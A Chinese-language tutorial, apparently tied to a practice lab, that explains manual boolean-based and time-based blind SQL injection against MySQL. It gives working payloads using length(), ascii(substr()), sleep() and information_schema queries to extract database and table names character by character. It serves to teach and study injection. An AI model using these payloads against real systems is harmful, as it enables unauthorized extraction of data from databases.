#### 盲注
以下用手工的方式来一步一步测试based boolean和based time。
一、 based boolean
基于boolean的盲注主要表现症状:
0.没有报错信息
1.不管是正确的输入,还是错误的输入,都只显示两种情况 (我们可以认为是0或者1)
2.在正确的输入下,输入and 1=1/and 1=2发现可以判断
在演示sql盲注之前,先演示一个mysql小知识:
```
Select database(); //得到数据库名称
Select substr(database(),1,1);//使用substr函数截取结果中的值,从第一个字符开始,截取1个字符。
Select ascii(substr(database(),1,1)); 将截取出来的字符,转换成acsii码,以便于后面做运算。
Select ascii(substr(database(),1,1))>97; //结果会为1或者0,也就是true or false
```
上面的知识要引申出来的一个逻辑是:
  既然在盲注情况下,从页面上只能判断1,0的情况,那么我们可以对databae()的结果截取一个字符,转换成ascii后进行运算,根据true或false的结果确认截取的这个字符的ASCII码,然后在将这个ascii码转换成字符,从而得到database()里面的第一个值。依次类推,得到所有结果。
based Boolean-手动测试:
01、如何确认需要遍历的结果一共有多少个字符呢?
```
可以首先使用length()函数做一个确认:通过一个比较,得出长度。
Id=1' and length((select database()))>x;
mysql> select length((select database()))>7;
+-------------------------------+
| length((select database()))>7 |
+-------------------------------+
| 1 |
+-------------------------------+
1 row in set (0.00 sec)
mysql> select length((select database()))>8;
+-------------------------------+
| length((select database()))>8 |
+-------------------------------+
| 0 |
+-------------------------------+
1 row in set (0.00 sec)
```
02、Test Payload:
```
kobe' and ascii(substr(database(),1,1))>97#
输出: 用户不存在
kobe' and ascii(substr(database(),1,1))=97#
输出: kobe的信息
因此,可以判断database()的第一个字符为a!
```
03、获取表信息的Test Payload:
```
ascii(substr(
(select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)
)>100#
获取其他信息的思路一样.
```
二、based time
  基于boolean的盲注可以在页面上看到0 or 1的回显,但是基于time的盲注是看不到的。
  但是我们可以通过“时间”条件进行特定的输入,判断后台执行sql语句的时间来判断是否存在盲注。
01、Teat Payload:
```
kobe' and sleep(5)#
```
分别输入:kobe 和输入kobe‘ and sleep(5)#,从而判断这里存在based time的SQL注入漏洞:
![](/upload/attach/201801/201801191855_V4ANV5896BWFRJ8.jpg)
02、获取基础信息test payload:
```
kobe' and if ((substr((select database()),1,1))='a',sleep(5),null)#
```
mysql中if的用法:
if(条件,true返回,false返回)
思路解释:
    通过substr对database()的结果截取第一位,然后判断是否等于X,如果等于则为真,然后执行sleep(5),如果不等于则为假,则null, 然后通过sleep的现象来确认,依次类推,遍历出所有的值。
03、获取表信息test payload:
```
kobe' and if(
substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e',sleep(5),null
)#
```
  无论是based boolean还是based time,要一步一步手工测试是非常麻烦的,以上只是用手工的方式说明盲注的原理,一般情况下,会使用一些sql注入工具来代替以上我们一步一步手工测试的步骤,后面会讲到如何使用sqlmap来进行注入测试。